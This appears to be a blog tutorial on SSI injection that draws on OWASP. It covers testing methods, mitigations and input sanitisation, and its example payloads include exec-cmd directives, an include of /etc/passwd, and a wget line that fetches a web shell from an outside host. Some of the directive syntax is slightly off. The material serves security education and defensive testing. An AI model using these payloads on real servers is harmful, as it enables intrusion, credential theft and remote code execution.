Server-Side Includes (SSI) Injection

0
server side includes

SSI Injection (Server side Includes) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server.

SSI Injection

SSI are generally the directives that are present on the web applications which are used to feed the html documents with dynamic contents. The web server first analyzes the SSI as they execute some actions before displaying the page to end users.

The SSI Injection allows the exploitation of web application by injecting scripts in the web application html pages or by remotely executing arbitrary codes. It could be easily exploited through the manipulation of SSI in web application or by forcing its use through the user inputs. The attacker could easily exploit and can access sensitive information like usernames or password files and can even execute shell commands.

It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:

< ! # = / . " - > and [a-zA-Z0-9]

Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that the application is protected against SSI attacks.

Attack

The SSI directives are generally injected in the input fields and are then sent to the web server. The web server parses them and then executes the directives before supplying the page. The result of the attack will be displayed next time the page is loaded in the end user’s browser. The commands used for SSI injection generally vary on the server that is been implemented.

How To Test

1- Black Box testing

This technique can help us in finding if the web server actually supports SSI directives. Often, we get the answer that is yes, because SSI support is quite common in general on the web servers. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques.

If we are succeeded or not in discovering information we still guess if the target websites are supporting SSI or not by searching for the web pages. If the extension of web pages contains .shtml files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the shtml extension is not mandatory, so not having found any shtml files doesn’t necessarily mean that the target is not prone to SSI injection attacks.

The next step is simple to determine if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.

Example

According to OWASP The commands used to inject SSI vary according to the server operational system in use. The following commands represent the syntax that should be used to execute OS commands.

Linux:

List files of directory:

<!--#exec cmd="ls" -->

Access directories:

<!--#exec cmd="cd /root/dir/">

Execution script:

<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows:

List files of directory:

<!--#exec cmd="dir" -->

Access directories:

<!--#exec cmd="cd C:\admin\dir">

Other SSI examples that can be used to access and set server information:

To change the error message output:

<!--#config errmsg="File not found, informs users and password"-->

To show current document filename:

<!--#echo var="DOCUMENT_NAME" -->

To show virtual path and filename:

<!--#echo var="DOCUMENT_URI" -->

Using the “config” command and “timefmt” parameter, it is possible to control the date and time output format:

<!--#config timefmt="A %B %d %Y %r"-->

Using the “fsize” command, it is possible to print the size of selected file:

<!--#fsize file="ssi.shtml" -->

To get the present working directory of file we have:

<!--#exec var="pwd" -->

To test if validation is insufficient, we can input, for example, a string like the following in an input form:

<!--#include virtual="/etc/passwd" -->

This is similar to testing for XSS vulnerabilities using

<script>alert("XSS")</script>

According to OWASP we have compiled some black box testing techniques to figure out the ways to catch and handle SSI directives.

2- Gray Box testing

If we have access to the application source code, we can quite easily find out:

  1. If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.
  2. Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.
  3. How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.

Mitigations

  • Disable SSI execution on pages that don not require it.
  • To ensure that only SSI directives that are needed for the web pages are enabled and others are disabled.
  • Encoding of the user supplied data before passing the data to the web pages with SSI execution permissions.
  • The main reason behind the SSI injection and similar exploits is because the application security is not taken on serious nodes. Some effective precautions e.g controlling the types and numbers of characters that are accepted by Web servers from users could lead to a safe web environment.

Input Field Sanitization

To sanitize the input fields, we use htmlspecialchars aside the inputs. In this way no arbitrary codes will be executed. e.g

htmlspecialchars($_POST[‘name’]);

Here only name will be taken with no malicious inputs.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.